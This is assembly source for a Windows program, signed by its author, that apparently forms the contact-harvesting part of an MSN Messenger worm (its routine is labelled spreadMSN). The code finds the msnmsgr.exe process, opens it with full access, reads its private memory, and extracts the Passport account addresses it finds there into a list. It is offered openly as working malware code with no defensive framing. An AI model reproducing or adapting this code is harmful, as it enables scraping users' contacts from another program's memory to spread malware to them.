;####################################
;#                                  #
;#         Made by c4st0r xD        #
;#                                  #
;####################################

format PE GUI 4.0
include 'win32a.inc'
include 'macro/if.inc'
;MEMORY_BASIC_INFORMATION ' 28 bytes
;    BaseAddress As Long
;    AllocationBase As Long
;    AllocationProtect As Long
;    RegionSize As Long
;    State As Long
;    Protect As Long
;    lType As Long

;SYSTEM_INFO ' 36 Bytes
;    dwOemID As Long
;    dwPageSize As Long
;    lpMinimumApplicationAddress As Long
;    lpMaximumApplicationAddress As Long
;    dwActiveProcessorMask As Long
;    dwNumberOrfProcessors As Long
;    dwProcessorType As Long
;    dwAllocationGranularity As Long
;    wProcessorLevel As Integer
;    wProcessorRevision As Integer

spreadMSN:
invoke LocalAlloc, LPTR, 7500 ; memoria suficiente para las 3 estructuras y los correos
; SYSTEM_INFO   MEMORY_BASIC_INFORMATION + struct de CreateTool...
mov dword[eax], 296
mov ebx, eax
invoke CreateToolhelp32Snapshot, 15, 0; TH32CS_SNAPALL
mov esi, eax
mov edi, ebx
add edi, 36
bucle:
invoke Process32Next, esi, ebx
cmp eax, 0
je @next
invoke lstrstr, edi, msnmsgr
cmp eax, 0
je bucle
invoke CloseHandle, esi
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword[ebx+8]
mov edi, eax  ;   edi handle del proceso abierto
invoke GetSystemInfo, ebx ;SYSTEM_INFO
ScanMemory:
mov ecx, dword[ebx+12]
.while dword[ebx+8] < ecx
; si.lpMinimumApplicationAddress < si.lpMaximumApplicationAddress
   mov dword[ebx+36+12], 0
   mov esi, ebx
   add esi, 36
   invoke VirtualQueryEx, edi, dword[ebx+8], esi, 28
   .if eax = 28
       .if dword[ebx+36+24] = MEM_PRIVATE | dword[ebx+36+16] = MEM_COMMIT
	   .if dword[ebx+36+12] > 0
	       invoke LocalAlloc, LPTR, dword[ebx+36+12]
	       mov esi, eax
	       invoke ReadProcessMemory, edi, dword[ebx+36], esi, dword[ebx+36+12], 0
	       .if eax <> 0
		   mov ecx, dword[ebx+36+12]
		   mov edx, esi
		   .while ecx <> 0
		       .if dword[edx] = '|Pas'
		       .if dword[edx+4] = 'spor'
		       .if word[edx+8] = 't|'
			   add edx, 10
			   mov al, '('
			   mov cl, 50
			   pushad
			   mov edi, edx
			   repne scasb
			   mov byte[edi-1], 0
			   xor eax, eax
			   mov al, 50
			   sub al, cl
			   mov esi, eax
			   dec esi
			   mov edi, ebx
			   add edi, 36+28
			   mov ebx, edx
			   invoke lstrstr, edi, edx
			   .if eax <> 0
			       jmp NotCopy
			   .endif
			   mov al, 0
			   mov ecx, -1
			   repne scasb
			   dec edi
			   invoke RtlMoveMemory, edi, ebx, esi
			   add edi, esi
			   mov word[edi], 0x0A0D
			   NotCopy:
			   popad
		       .endif
		       .endif
		       .endif
		       inc edx
		       dec ecx
		   .endw
	       .endif
	       invoke LocalFree, esi
	   .endif
       .endif
   .endif
   mov ecx, dword[ebx+36]
   add ecx, dword[ebx+36+12]
   mov dword[ebx+8], ecx
   mov ecx, dword[ebx+12]
.endw
EndScan:
invoke CloseHandle, edi

    invoke ExitProcess, 0
@next:
invoke LocalFree, ebx
jmp spreadMSN

msnmsgr    db  'msnmsgr.exe', 0